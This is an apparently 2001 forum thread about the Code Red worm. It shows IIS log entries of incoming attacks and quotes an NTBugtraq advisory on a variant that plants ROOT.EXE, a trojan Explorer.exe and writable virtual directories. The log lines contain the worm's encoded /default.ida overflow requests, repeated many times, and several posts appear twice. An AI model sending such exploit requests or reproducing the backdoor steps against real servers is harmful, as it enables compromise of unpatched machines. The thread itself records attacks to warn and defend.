Code Red is still going strong.. Look at my log file!!
Here's my IIS(web) log file from August 4. Every hit with 'NNN. . ' AND 'XXXX. . ' IS Code Red. Notice it has changed from NNN to XXX. . meaning that it's mutating. I'm not in danger since I installed the patch weeks ago.
Here's my IIS(web) log file from August 4. Every hit with 'NNN..' AND 'XXXX..' IS Code Red. Notice it has changed from NNN to XXX.. meaning that it's mutating. I'm not in danger since I installed the patch weeks ago... but if every IIS server out there is getting scanned at least this many times per day.. and the worm is changing... we could be in for some interesting times!!
Sample:
2001-08-04 06:49:08 211.157.208.98 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 07:12:30 207.202.243.99 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 07:27:45 61.218.78.237 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 08:09:49 63.125.234.2 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 08:51:02 195.42.160.103 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 09:05:04 166.104.232.76 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 09:05:23 210.242.6.5 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 09:21:36 208.148.169.153 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 12:44:09 193.252.59.234 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 13:45:47 195.76.139.14 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 16:25:38 148.243.150.66 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 16:44:10 4.60.60.87 - 192.168.0.4 80 GET /default.ida XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 16:44:44 4.60.60.87 - 192.168.0.4 80 GET /default.ida XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 16:44:44 4.60.60.87 - 192.168.0.4 80 GET /default.ida XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 17:22:45 4.60.18.180 - 192.168.0.4 80 GET /default.ida XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 17:24:46 4.60.177.60 - 192.168.0.4 80 GET /default.ida XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 17:43:20 203.74.30.193 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
Click here to download the entire log file and see for yourself. Or heck, just open up your own and take a look.
Sample:
2001-08-04 06:49:08 211.157.208.98 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 07:12:30 207.202.243.99 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 07:27:45 61.218.78.237 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 08:09:49 63.125.234.2 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 08:51:02 195.42.160.103 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 09:05:04 166.104.232.76 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 09:05:23 210.242.6.5 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 09:21:36 208.148.169.153 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 12:44:09 193.252.59.234 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 13:45:47 195.76.139.14 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 16:25:38 148.243.150.66 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 16:44:10 4.60.60.87 - 192.168.0.4 80 GET /default.ida XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 16:44:44 4.60.60.87 - 192.168.0.4 80 GET /default.ida XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 16:44:44 4.60.60.87 - 192.168.0.4 80 GET /default.ida XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 17:22:45 4.60.18.180 - 192.168.0.4 80 GET /default.ida XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 17:24:46 4.60.177.60 - 192.168.0.4 80 GET /default.ida XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
2001-08-04 17:43:20 203.74.30.193 - 192.168.0.4 80 GET /default.ida NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a 200 -
Click here to download the entire log file and see for yourself. Or heck, just open up your own and take a look.
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As clutch pointed out to me earlier too.. each hit came from a different server. So you can see the extent in which this worm has spread. It is really annoying to know that there is all this crap data out there on the net doing nothing but clogging it up and harming all these web servers.
Still, you have to marvel at it, and think to yourself how war in the future will be waged. I have a feeling it's gonna be country vs. country... trying to design worms and viruses intended to shut down the other's economy. Eh, whatever happens... the fact that one or two or three people can write a program like Code Red, and have it create havoc throughout the world... really is a frightening thought.
Still, you have to marvel at it, and think to yourself how war in the future will be waged. I have a feeling it's gonna be country vs. country... trying to design worms and viruses intended to shut down the other's economy. Eh, whatever happens... the fact that one or two or three people can write a program like Code Red, and have it create havoc throughout the world... really is a frightening thought.
Oh, that's what Code Red is. I had a bunch of NNNNNNNNNNNNNNN.. in my log file too. I already applied the patch 2 weeks ago. So applying the patch will kill Code Red or what?
I saw the link to this on www.voodooextreme.com.
http://grc.com/x/talk.exe?cmd=article&group=grc.security&item=21298&utag=
This describes the "X" variant a bit more. I REALLY hope everybody here is patched (and if not, patch and reboot damnit!)
http://grc.com/x/talk.exe?cmd=article&group=grc.security&item=21298&utag=
This describes the "X" variant a bit more. I REALLY hope everybody here is patched (and if not, patch and reboot damnit!)
8) Yikes!!! 8)
Note to self: Patch rest of house pc's.
And dad's laptop...
Note to self: Patch rest of house pc's.
And dad's laptop...
I got this over the weekend at work:
I am posting a message about a new variant of the Code Red virus that
has started circulating.
This one is much worse and if you are infected, probably ought to
reformat.
This morning, AFAIK, a new Code Red variant was released.
------------------------------------------------------------------------
--
Ok, here's the latest on this new variant.
1. It makes a copy of CMD.EXE called ROOT.EXE in the;
\inetpub\scripts
and
\program files\common files\system\msadc
directories. Does this on both drive C: and D: (doesn't fail if D:
doesn't exist).
2. It then runs its attack program code to infect itself upon
numerous other boxes. This is done randomly, although there is a bias
to attack boxes that are part of the same class A as infected
attacker (so it hits your own boxes sooner rather than later). Attack
code runs for 24 hours, 48 hours on Chinese language systems.
3. After attack code runs (and it seems to be based on clock ticks,
not date), it then writes out a Trojan.
File Explorer.exe (8192bytes or 7K as displayed by Windows) is
dropped (from the code in the original attacking URL) to the root of
drive C: and D: (again, doesn't matter if D: doesn't exist).
4. The system is then rebooted (probably a forced reboot).
5. When the system restarts, it loads the trojan Explorer.exe from
the root directory on the boot drive. This code then does several
things;
a) Launches the real Explorer.exe, so the system looks normal.
Sets SFCDisable in hklm\software\microsoft\windows
nt\currentversion\winlogon to some undocumented value. Presumably
this disables Windows File Protection (so critical files could be
overwritten)
c) Creates two virtual directories (via the registry) in
hklm\system\currentcontrolset\services\w3svc\parameters\virtual
roots. Called "C" and "D", they are mapped to the root directories of
the two drives and permissions are established in the virtual
directory to allow script, read, and write access as well as setting
execute permissions to scripts and executables.
d) goes into an endless sleep loop.
The end result of all of this action is to leave your box wide open
to remote connection and total compromise.
Unlike "Code Red", this worm doesn't attack any single target at any
point, although its attack strength seems to be much higher (it
launches 300 threads right off, although some may only launch 100),
so its propagation seems much higher.
The attack only works properly on Windows 2000 systems (preliminary
analysis). ICSA Labs tested against an NT 4.0/IIS 4.0/SP3 box and
received a standard error message. Reports from subscribers suggest
that XP IIS 5.1 RC1 is invulnerable also. Its expected that it works
on PWS and OWS equally to IIS (all on W2K).
Its obviously a short-lived attack, at least the process of
collecting victims. What would be done with them once collected is
another story. No attempt is made by the worm to send anything
"home", although detecting compromised boxes is far too easy (very
unfortunately) for anyone outside your network.
Cleaning a compromised box should really be done by reformatting.
Although logging is left on for the new virtual directories created
(meaning you'd see access in your IIS logs), there's really no way to
be sure that files haven't been implanted to leave other backdoors
(not as part of this worm, but as part of the use of the opening it
creates).
Credits:
The bulk of the analysis was done by Nick Fitzgerald of Virus-L (and
friends) and Roger Thompson of TruSecure. Additional help came from
Bruce Hughes of the ICSA Labs.
Cheers,
Russ - Surgeon General of TruSecure Corporation/NTBugtraq Editor
---------------------------------
Now Registering for IIS FastTrack
http:/www.iistraining.com
Brett Hill - IISAnswers.com
brett@iisanswers.com (303) 543-7502
MCSE MCT A+ Net+ CIW-TT
I am posting a message about a new variant of the Code Red virus that
has started circulating.
